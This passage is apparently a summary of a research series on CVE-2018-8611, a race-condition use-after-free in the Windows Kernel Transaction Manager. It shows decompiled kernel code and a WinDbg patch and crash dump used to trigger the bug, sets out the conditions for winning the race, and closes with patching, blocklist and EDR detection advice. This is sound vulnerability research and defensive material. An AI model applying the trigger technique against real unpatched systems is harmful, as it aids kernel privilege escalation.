ObfDereferenceObject(pEnlistment);
ObfDereferenceObject(pEnlistment);
[...]
KeReleaseMutex( pRM->Mutex, 0);
TmpReleaseTransactionMutex(pTransaction);
KeWaitForSingleObject(( pEnlistment->Mutex + 8), Executive, 0, 0, 0i64);
ObfDereferenceObject(pEnlistment);
return 0i64;
That is the answer to the earlier question about mutex predication: enlistment removal does take pRM->Mutex, so if TmRecoverResourceManager() is permanently parked on its KeWaitForSingleObject(pRm->Mutex), another thread’s TmpFinalizeEnlistment() can still hold the mutex briefly, perform the removal, drop two references, then release the mutex — while the recovery thread sees nothing change because it never gets the mutex back.
The three ObfDereferenceObject() calls correspond to the two linked-list references and the original creation reference, leaving the refcount at one (the user-mode handle). Closing the handle then drops it to zero and frees the _KENLISTMENT. The summary — to free a target enlistment from user mode, CommitComplete() it, then close its handle — combined with the recovery thread’s own additional ObfDereferenceObject(), is enough to free the structure deterministically.
Confirming our understanding
With Driver Verifier enabled, accesses to freed kernel memory bugcheck reliably. Set a breakpoint on TmRecoverResourceManager(); when it fires, install the mutex-congestion patch via a WinDbg script:
0: kd> !patch
__installPatch
Setting breakpoint and patching mutex code
@$patch()
The VM hangs as the recovery thread spins in its forced infinite loop while user-mode exploit code continues. Break into WinDbg, restore the original code:
1: kd> !unpatch
__uninstallPatch
Removing breakpoint for patching mutex and restoring old code.
@$unpatch()
1: kd> g
And the bug fires — a near-NULL pointer dereference at TmRecoverResourceManager+0x129, with rdi=0 and the test reading from [rdi+24h]:
rax=0000000000000000 rbx=fffff98026e1edd8 rcx=fffff9801a4b2e58
rdx=fffff98026e1edf0 rsi=fffff980277fce20 rdi=0000000000000000
rip=fffff80002d2eac1 rsp=fffff88005d4a9d0 rbp=fffff88005d4ab60
r8=fffff78000000008 r9=0000000000000000 r10=0000000000000000
r11=fffff80002bf1180 r12=fffff98026e1edb0 r13=fffff98026e1eec0
r14=0000000000000000 r15=0000000000000100
iopl=0 nv up ei pl nz na pe cy
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010303
nt!TmRecoverResourceManager+0x129:
fffff800`02d2eac1 f6472404 test byte ptr [rdi+24h],4 ds:002b:00000000`00000024=??
0: kd> r rdi
Last set context:
rdi=0000000000000000
0: kd> k
*** Stack trace for last set context - .thread/.cxr resets it
# Child-SP RetAddr Call Site
00 fffff880`05d4a9d0 fffff800`02d4bf49 nt!TmRecoverResourceManager+0x129
01 fffff880`05d4aa90 fffff800`02aae9d3 nt!NtRecoverResourceManager+0x51
02 fffff880`05d4aae0 00000000`778cabea nt!KiSystemServiceCopyEnd+0x13
03 00000000`0020a568 000007fe`fa4b219d ntdll!ZwRecoverResourceManager+0xa
04 00000000`0020a570 00000000`ff396d7b ktmw32!RecoverResourceManager+0x9
The crash is at the very top of the loop: a stale pEnlistment_shifted was copied at [1] from the freed enlistment’s NextSameRm.Flink on the previous iteration, and the next iteration immediately dereferences it at [2]:
pEnlistment_shifted = EnlistmentHead_addr->Flink;
while ( pEnlistment_shifted != EnlistmentHead_addr )
{
[2] if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) // crash here
{
...
if ( bEnlistmentIsFinalized )
{
pEnlistment_shifted = EnlistmentHead_addr->Flink;
bEnlistmentIsFinalized = 0;
}
else
{
[1] pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink;
}
}
}
The use-after-free is confirmed.
Key Takeaways
- CVE-2018-8611 is a race-condition use-after-free in the Windows Kernel Transaction Manager, specifically inside
TmRecoverResourceManager(). The patch removed theKENLISTMENT_FINALIZEDbookkeeping that the loop relied on and forces a fresh re-read of the enlistment list head whenever a notification was dispatched. - The race window opens immediately after
ObfDereferenceObject()and closes when the recovery thread reacquirespResMgr->Mutex. A concurrent thread that finalises the same enlistment in that interval can free its_KENLISTMENT; the recovery thread then followsNextSameRm.Flinkthrough freed memory. - Diaphora-based binary diffing across Windows 7 and Windows 10 is what isolates the patched function. On Windows 10 the change is in
tm.sys; on Windows 7 the same change lives inntoskrnl.exe. - Hex-Rays’ “shifted pointer” feature, introduced in IDA 7.2, is the right tool for kernel structures with embedded
_LIST_ENTRYmembers. A typedef like_LIST_ENTRY *__shifted(_KENLISTMENT,0x88)teaches the decompiler that0x88reaches the structure base, replacing wall-of-arithmetic output with readableADJ(...)->Fieldnotation. - Reaching the vulnerable path requires a paired transaction setup: one transaction in
KTransactionCommittedwith a single enlistment, plus a second inKTransactionPreparedwith many enlistments. The second one is what supplies the candidates for spraying and finalisation. - Holding
pResMgr->Mutexfrom another thread — e.g. via a tight loop overNtQueryInformationResourceManager()— is the lever that widens the race window in a real exploit. - The cleanest way to confirm the bug before fighting the real race is to patch the inner
KeWaitForSingleObject()inTmRecoverResourceManager()into an infinite loop via a WinDbg script. Driver Verifier then turns the freed-memory read into a deterministic bugcheck atTmRecoverResourceManager+0x129.
Defensive Recommendations
- Patch hygiene first: CVE-2018-8611 is fixed by the December 2018 cumulative update (Windows 7 SP1 x64 ships the fix in
KB4471328). Anything still on the November 2018 baseline or earlier is vulnerable from user-mode — verify across the whole fleet, including long-running embedded and industrial Windows 7 boxes that often miss cumulative updates. - Use the Microsoft Vulnerable Driver Blocklist and WDAC / Smart App Control to prevent the legacy Windows 7 / Server 2008 R2 drivers most often used to bootstrap kernel R/W from being loaded on still-supported platforms.
- KTM is not used by many third-party applications. If your environment can tolerate it, audit and tightly constrain the use of
NtCreateTransactionManager/NtCreateResourceManager/NtRecoverResourceManagerby EDR rules or application-control policies. Legitimate KTM consumers are essentially DTC, TxF and a small set of Microsoft products — arbitrary user-mode code calling into recovery is a strong signal. - Enable Driver Verifier in production-equivalent test environments on a rotating subset of fleet builds. Verifier turns this exact class of post-free dereference into a deterministic bugcheck rather than a silent corruption that survives until the attacker pivots through it.
- Where supported, enable HVCI / kCET on modern Windows builds. They do not stop this UAF from firing, but they materially raise the cost of the post-corruption pivot to SYSTEM — see prior coverage of HVCI on core-jmp.org for the current state of plain-HVCI vs HVCI-plus-HVPT.
- For detection, hunt EDR telemetry for the combination of (a) repeated
NtQueryInformationResourceManagercalls from a single thread, and (b) parallelNtRecoverResourceManager/NtCommitCompleteactivity in the same process — that pattern is the one-shot user-mode setup for this race. - For sensitive build images, consider disabling TxF entirely via group policy where the workload does not need it. KTM is harder to disable cleanly, but reducing TxF surface in particular has shut multiple historical kernel bug classes.
Conclusion
Part 2 of the series turns Microsoft’s December 2018 patch into a precise account of what is wrong with TmRecoverResourceManager() and how to drive Windows 7 into the buggy state by hand. The take-aways are not specific to KTM: diff narrowly with Diaphora before reading anything else, let Hex-Rays do the structure arithmetic for you, and before fighting the real race, patch the kernel into a state where the race is impossible to lose. With the use-after-free now reproducible in WinDbg, Part 3 will move from the assisted trigger to winning the real race condition without WinDbg help, plus the debugging tricks that make the rest of the chain visible at the kernel level.
Original text: “CVE-2018-8611 Exploiting Windows KTM Part 2/5 – Patch analysis and basic triggering” by Aaron Adams at NCC Group Research.

